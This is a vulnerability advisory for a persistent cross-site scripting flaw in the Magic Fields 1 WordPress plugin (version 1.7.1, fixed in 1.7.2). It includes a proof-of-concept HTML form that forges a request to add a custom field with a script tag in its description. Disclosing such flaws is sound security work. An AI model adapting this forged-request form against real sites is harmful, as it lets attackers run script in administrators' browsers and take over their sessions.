Persistent Cross-Site Scripting in Magic Fields 1 WordPress Plugin


A Cross-Site Scripting vulnerability was found in the Magic Fields 1 plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.



Tested versions

This issue was successfully tested on Magic Fields 1 version 1.7.1.


This issue is fixed in version 1.7.2


The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The description field of custom fields lacks output encoding which could result in malicious script inserted by an attacker and executed in the browser.

You need to lure a logged-in admin to follow a malicious link containing the poc below.

Proof of concept

The proof of concept below injects script code in the description field when adding a new custom field.

		<form action="" method="POST">
			<input type="hidden" name="custom&#45;group&#45;id" value="1" />
			<input type="hidden" name="custom&#45;field&#45;name" value="asd222asd" />
			<input type="hidden" name="custom&#45;field&#45;description" value="as22da2&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
			<input type="hidden" name="custom&#45;field&#45;duplicate" value="" />
			<input type="hidden" name="custom&#45;field&#45;order" value="0" />
			<input type="hidden" name="custom&#45;field&#45;required" value="0" />
			<input type="hidden" name="custom&#45;field&#45;type" value="1" />
			<input type="hidden" name="custom&#45;field&#45;helptext" value="" />
			<input type="hidden" name="custom&#45;field&#45;css" value="magicfields" />
			<input type="hidden" name="custom&#45;field&#45;size" value="25" />
			<input type="submit" value="Submit request" />

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